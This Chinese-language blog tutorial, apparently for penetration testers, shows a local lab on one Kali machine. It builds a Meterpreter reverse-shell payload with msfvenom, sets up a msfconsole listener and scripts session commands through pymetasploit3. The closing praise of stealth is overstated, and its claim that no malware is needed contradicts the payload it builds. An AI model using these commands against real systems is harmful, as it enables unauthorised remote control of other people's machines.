1. 关于metasploit
Metasploit是一款开源的渗透测试框架,由Rapid7公司开发和维护。它提供了一套强大的工具和资源,用于评估和测试计算机系统的安全性。Metasploit的目标是帮助安全专业人员发现和利用系统中的漏洞,以便改进系统的安全性。
Metasploit的背景:
Metasploit最初由H.D. Moore于2003年创建,最初是一个开源的安全工具集,用于简化网络渗透测试和漏洞利用。它最初是一个命令行工具,但随着时间的推移,Metasploit发展成为一个功能强大且易于使用的渗透测试框架。它的开源性质使得全球安全社区可以共同贡献和改进Metasploit,使其成为当今最受欢迎的渗透测试工具之一。
Metasploit的主要功能:
1. 漏洞扫描和评估:Metasploit提供了强大的漏洞扫描引擎,可用于自动化扫描目标系统中的漏洞。它可以扫描常见的漏洞,如SQL注入、XSS等,并生成详细的报告,帮助安全专业人员评估系统的安全性。
2. 漏洞利用:Metasploit提供了一套广泛的漏洞利用模块,用于利用已知的系统漏洞。这些模块可用于获取对目标系统的访问权限,执行命令、提取敏感信息等。
3. 社会工程学:Metasploit还提供了一些社会工程学模块,用于测试人员在钓鱼、恶意软件传播等方面的技能。这些模块可以帮助安全专业人员评估员工对社会工程学攻击的抵抗能力。
4. 远程控制:Metasploit的一个重要功能是提供远程控制的能力。通过建立与目标系统的连接,安全专业人员可以远程执行命令、上传和下载文件、截取屏幕等。
5. 模块化架构:Metasploit的架构是模块化的,这使得用户可以根据需要自定义和扩展其功能。用户可以编写自己的模块,或者从Metasploit社区中获取其他用户共享的模块。
6. 自动化和集成:Metasploit可以与其他安全工具和平台集成,实现自动化渗透测试和漏洞管理。它可以与Nessus、Nmap等工具集成,从而提供更全面的渗透测试解决方案。
总之:
Metasploit是一款功能强大的渗透测试框架,旨在帮助安全专业人员评估和改进系统的安全性。它提供了漏洞扫描、漏洞利用、社会工程学、远程控制等一系列功能,使安全专业人员能够更好地发现和利用系统中的漏洞。Metasploit的开源性质和模块化架构使其成为一个活跃的安全社区,用户可以共同贡献和改进Metasploit,使其保持更新和适应不断变化的威胁环境。
如果你想使用metasploit,最简单的方法是使用linux-kali。安装方法可以参考一下博客。
5分钟完成 Kali linux安装(基于VirtualBox)_virtualbox安装kali_晓翔仔的博客-CSDN博客
2. 生成受控端反弹shell程序,主控端发送远程控制命令
2.1 生成反弹shell程序
在kali机器上使用msfvenom制作一个作为受控端反弹shell程序,反弹shell程序会主动连接主控端控制台开放的端口。
我这里设置主控端ip为本地ip 127.0.0.1,主控端port是4444。因为是受控端在kali本机上执行,所以payload选择“linux/x64/meterpreter/reverse_tcp”。payload的种类很多,可以在msfconsole上搜索“reverse_tcp”,可以发现大量payload, 无论是windows还是android,你都能找到适合你的受控端运行环境的payload。
┌──(root㉿kali)-[/home/kali/reverse_tcp_test]
└─# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o client_x64.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: client_x64.bin
2.2 配置控制台并执行远控命令
从kali命令行输入“msfconsole”打开metasploit。
使用如下命令配置主控端:
use payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
set ExitOnSession false
配置完成后使用
exploit -j -z
开启主控端侦听端口。
将client_x64.bin添加执行权限,并执行。可以看到主动端有了"Meterpreter session"(127.0.0.1:4444 -> 127.0.0.1:45906).
“ctrl +c” 后使用sessions -l,可以看到此时建立的session id,通过"session -i id",可以进入反弹shell。在反弹shell你可以执行一部分命令,但是你很容易发现,能执行的命令很有限。(ls可以执行,但是whoami,echo等却不能执行)
你需要输入shell来提升自己的能力。在Meterpreter中,"meterpreter > shell" 表示从Meterpreter会话转到了目标系统的交互式shell。这意味着你可以在目标系统上执行命令和操作,就像在本地系统的命令行界面中一样。这是一个重要的步骤,因为它允许你直接与目标系统进行交互,执行更高级的任务和操作。
OK,现在你已经可以成功的控制受控端了。如果受控端的程序权限越高,你能做的事情就越多。
整个过程执行的截图如下:
3. 使用Metasploit框架的API实现自动化自定义发送控制命令
3.1 Pymetasploit3
Pymetasploit3是一个用Python编写的Metasploit框架的API。它提供了与Metasploit框架进行交互的功能,使用户能够通过编程方式使用Metasploit的各种功能和工具。以下是Pymetasploit3的主要用途:
1. 渗透测试自动化:Pymetasploit3允许用户通过编写Python脚本来自动化渗透测试任务。用户可以使用Pymetasploit3 API执行各种渗透测试操作,如扫描漏洞、利用漏洞、获取目标系统的访问权限等。这使得渗透测试人员能够更高效地执行重复性任务,并集成Metasploit框架到自己的工作流程中。
2. 自定义模块开发:Pymetasploit3提供了一套API,使用户能够编写自己的Metasploit模块。用户可以基于自己的需求和目标系统的特点,使用Pymetasploit3 API开发定制的模块,以实现更精确和有效的渗透测试。这使得用户能够根据特定的场景和需求扩展和定制Metasploit框架的功能。
3. 数据分析和报告生成:Pymetasploit3提供了访问和处理Metasploit框架生成的数据的功能。用户可以使用Pymetasploit3 API获取渗透测试过程中的结果数据,如扫描报告、漏洞信息等。这使得用户能够对渗透测试结果进行分析和解释,并生成详细的报告,以便向利益相关者传达测试结果和建议。
4. 漏洞管理和追踪:Pymetasploit3允许用户通过编程方式管理和追踪漏洞。用户可以使用Pymetasploit3 API获取漏洞信息、更新漏洞状态、跟踪漏洞修复进度等。这使得用户能够更好地组织和管理渗透测试中发现的漏洞,提高漏洞修复的效率和准确性。
总之:
Pymetasploit3是一个用Python编写的Metasploit框架的API,它提供了与Metasploit框架进行交互的功能。它的主要用途包括渗透测试自动化、自定义模块开发、数据分析和报告生成,以及漏洞管理和追踪。使用Pymetasploit3,用户可以通过编程方式更高效地执行渗透测试任务,定制和扩展Metasploit框架的功能,并对测试结果进行分析和报告。
3.2 使用Pymetasploit3的一些程序
3.2.1 关于RPC
使用前需要输入
load msgrpc
会看到输出
msf6 payload(linux/x64/meterpr
eter/reverse_tcp) > load msgrpc
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: DCcxOGeW
[*] Successfully loaded plugin: msgrpc
这里生成了RPC的密码“DCcxOGeW”,这个密码后面要用。当然这里的密码也可以自行配置。
也许你想问,"load msgrpc"能做什么呢?它的作用是加载Metasploit RPC(Remote Procedure Call)服务,用于与Metasploit框架进行远程通信和控制。
具体来说,"load msgrpc"命令会启动一个RPC服务,该服务允许用户通过网络连接到Metasploit框架,并使用API进行交互。一旦RPC服务启动,用户可以使用各种编程语言(如Python、Ruby等)编写脚本,通过API与Metasploit框架进行通信,执行各种渗透测试任务和操作。
通过加载msgrpc,用户可以实现以下功能:
1. 远程控制:用户可以通过网络连接到Metasploit框架,从远程位置执行各种渗透测试任务,如扫描漏洞、利用漏洞、获取访问权限等。这对于需要远程执行渗透测试任务的场景非常有用,比如在远程服务器上执行渗透测试任务。
2. 自动化和集成:通过RPC服务,用户可以编写脚本来自动化渗透测试任务,并将Metasploit框架集成到自己的工作流程中。用户可以使用各种编程语言和工具与Metasploit框架进行交互,从而实现更高效和定制化的渗透测试。
3. 分布式渗透测试:通过启动多个RPC服务,用户可以实现分布式渗透测试。这意味着用户可以在多个机器上同时执行渗透测试任务,从而提高测试的效率和速度。
3.2.2 python程序(只是参考程序)
可以编写如下python文件借助Metasploit RPC(Remote Procedure Call)服务连接到Metasploit框架:
# -*- coding:utf-8 -*-
from pymetasploit3.msfrpc import MsfRpcClient
#参数需要参考msgrpc的输出
client = MsfRpcClient(password='DCcxOGeW', server='127.0.0.1', port=55552)
#session id需要通过“sessions -l”来获得,一般是1
session=client.sessions.session("1")
if session:
print("Meterpreter会话已建立")
shell = session.start_shell()
if shell:
print("交互式Shell已启动")
while True:
command = input("请输入命令:")
if command.lower() == "exit":
break
else:
print("您输入的命令是:",command)
session.write(command + "\n")
output = session.read()
print(output)
else:
print("无法启动交互式Shell")
我也看到很多github上有其他写法,列举几个,供参考。
GitHub - Coalfire-Research/pymetasploit3 at 0afc16bc04016187de6786dbb93c94874b5e3101
https://github.com/ir-st/ANPT/blob/62213fd804887f4d78531af87696b743c2e684a6/example/MsfRPC%20testing.py#L4
https://github.com/sec-js/Xerror/blob/07ec57cabcd27cdb47c89af452bdf4ed07207347/xerror/parsing/msf_rpc_session_handler.py#L3
4.最后
Metasploit生成反弹shell实现远程控制的方法有以下几个好处:
1. 高度定制化:Metasploit框架提供了丰富的模块和工具,可以根据具体需求生成定制化的反弹shell。用户可以根据目标系统的特点和实际情况选择相应的模块和配置,从而实现更精确和有效的远程控制。
2. 多平台支持:Metasploit框架支持多种操作系统和平台,包括Windows、Linux、Mac等。这意味着用户可以使用Metasploit生成适用于不同操作系统的反弹shell,实现跨平台的远程控制。
3. 强大的漏洞利用能力:Metasploit框架集成了大量的漏洞利用模块,可以利用已知的漏洞来获取目标系统的访问权限。通过生成反弹shell,用户可以利用这些漏洞利用模块来实现远程控制,从而在目标系统上执行各种操作,如执行命令、上传下载文件、获取敏感信息等。
4. 无需事先安装恶意软件:生成反弹shell的方法通常不需要在目标系统上事先安装任何恶意软件。这意味着用户可以通过利用已知的漏洞,直接在目标系统上执行代码,实现远程控制,而无需在目标系统上留下可被检测和清除的痕迹。
5. 高度灵活和可扩展:Metasploit框架的反弹shell生成方法可以根据具体需求进行定制和扩展。用户可以使用Metasploit框架提供的API和编程语言,编写自定义模块和脚本,实现更复杂和特定的远程控制功能。
所以,Metasploit生成反弹shell实现远程控制的方法具有高度定制化、多平台支持、强大的漏洞利用能力、无需事先安装恶意软件以及高度灵活和可扩展等优点。这使得用户能够根据具体需求和目标系统的特点,实现精确、有效和隐蔽的远程控制。